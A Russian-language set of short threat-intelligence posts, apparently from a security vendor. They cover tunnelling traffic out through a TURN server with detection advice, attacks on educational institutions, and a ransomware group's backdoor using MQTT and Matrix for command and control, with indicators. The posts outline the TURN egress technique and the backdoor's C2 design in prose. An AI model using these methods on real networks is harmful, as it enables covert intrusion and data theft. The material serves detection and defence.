
Если вы видите трафик на white_ip:port от TURN-сервера, значит, проксирование возможно. Поэтому идём дальше:

— используем креды, полученные через signal plane,
— с пробитого хоста отправляем Allocate Request на TURN,
— в качестве destination указываем свой внешний хост, и
— TURN начинает ретранслировать трафик наружу.

Плюс такого метода: получаем дополнительный канал egress, когда прямой Интернет или корпоративная прокси недоступны.

Минусы: скорость ниже, чем у SOCKS/proxy; TURN-креды имеют срок действия; после expiration date нужно заново поднимать канал.

Как ловить атаку:

Мониторить исходящий трафик с TURN-сервера. Если TURN ходит на неизвестные внешние IP, если есть пакеты ChannelData и Send Indication не в сторону вашей инфры — это верный признак того, что кто-то проксируется через ваш TURN.

Как реагировать:

— проверить, какие внутренние хосты инициировали Allocate Request;
— сопоставить время активности с реальными ВКС-сессиями;
— найти внешний white_ip, куда TURN ретранслировал трафик;
— отозвать/обновить TURN-креды;
— ограничить relay только на ожидаемые направления;
— проверить пробитый хост на RCE/foothold.

А ещё полезно запретить анонимные звонки в вашей ВКС. Это усложнит жизнь злоумышленнику: в таком случае ему ещё надо найти креды от звонка, а уже потом по signal plane получить TURN-креды.

В прошлом году, согласно отчёту наших команд MDR и IR, значительно выросло число инцидентов высокой и средней критичности в сфере образования, что указывает на рост системных проблем в этой сфере. До нового учебного года осталось меньше месяца — самое время подсветить эти проблемы.

Зачем злоумышленники атакуют образовательные организации? В государственных школах и университетах можно поживиться персональными данными, которые затем используются для фишинга и других видов мошенничества. А в частных школах самые частые критические инциденты — это шифрование с последующим вымогательством.

Такие наблюдения сделали эксперты нашего глобального центра по реагированию (GERT) на основе анализа инцидентов, которые произошли за прошедший год в образовательных организациях Бразилии. Однако выводы и рекомендации этого исследования вполне применимы и для других стран. В частности:

— В атаках на образовательные организации почти не встречаются сложные техники. Чаще всего первоначальный доступ происходит через украденные аккаунты, после чего злоумышленники повышают права (Potatoes) и ходят по школьным сетям с использованием легальных инструментов (PsExec, AnyDesk). Для предотвращения угона аккаунтов рекомендуется использовать мультифакторную авторизацию, а также регулярно проводить аудит привилегированных аккаунтов и сокращать избыточные права.

— В школах и вузах часто используется устаревший софт. Например, в инфраструктуре некоторых наших клиентов из сферы образования встречался Windows Server 2016 без патчей, а также операционка Windows 10, поддержка которой уже прекращена. Понятно, что здесь основная мера профилактики — своевременное обновление.

— Самые популярные семейства шифровальщиков, атакующих сферу образования — это DragonForce и LockBit 3. И как уже сказано, вымогатели особенно любят частные школы, которые кажутся достаточно богатыми, чтобы заплатить выкуп. Таким школам особенно рекомендуется озаботиться выработкой стратегии резервного копирования и восстановления данных.

Более подробные примеры атак на школы и вузы, а также дополнительные рекомендации по защите — в статье нашего эксперта Кристиана Сузы "An analysis of incidents at Brazilian educational institutions".

Расследуя атаки хакерской группировки год за годом, можно наблюдать, как эволюционирует эта угроза. Один из признаков её развития — переход от использования чужих вредоносных инструментов к собственным разработкам.

Группировка Labooboo (Toy Ghouls, Bearlyfy), атакующая российские организации с 2025 года, изначально использовала сторонние шифровальщики RedAlert, LockBit и Babuk, но в марте 2026 года перешла на собственный шифровальщик GenieLocker.

А недавно наши эксперты обнаружили, что в арсенале этой группы появился свой бэкдор, который позволяет выполнять произвольные команды. Бэкдор существует как минимум в двух вариациях, использующих для связи с С2 протоколы MQTT и Matrix.

В реализации с MQTT (MD5: BFADBEEE63A4F0BF19EC9DEB8FA58F58) в качестве брокера указан broker.hivemq.com:8883. Обмен сообщениями осуществляется через топики _id_/cmd/req, _id_/cmd/res, _id_/metrics3 и _id_/status для получения команд, отправки результатов их выполнения, метрик и состояния бэкдора, соответственно.

В реализации с Matrix (MD5: 7916C33688385525078BEE504C90F359) вредонос подключается к определенной комнате на публичном сервере meet.element.tw и выполняет команды из сообщений, начинающихся c cmd. Результаты выполнения команд, метрики и статусы публикуются в виде сообщений в комнате.

Выявленные образцы добавлены в антивирусные базы. Продолжаем следить за Лабубой. Детальное описание обнаруженных бэкдоров опубликуем позже.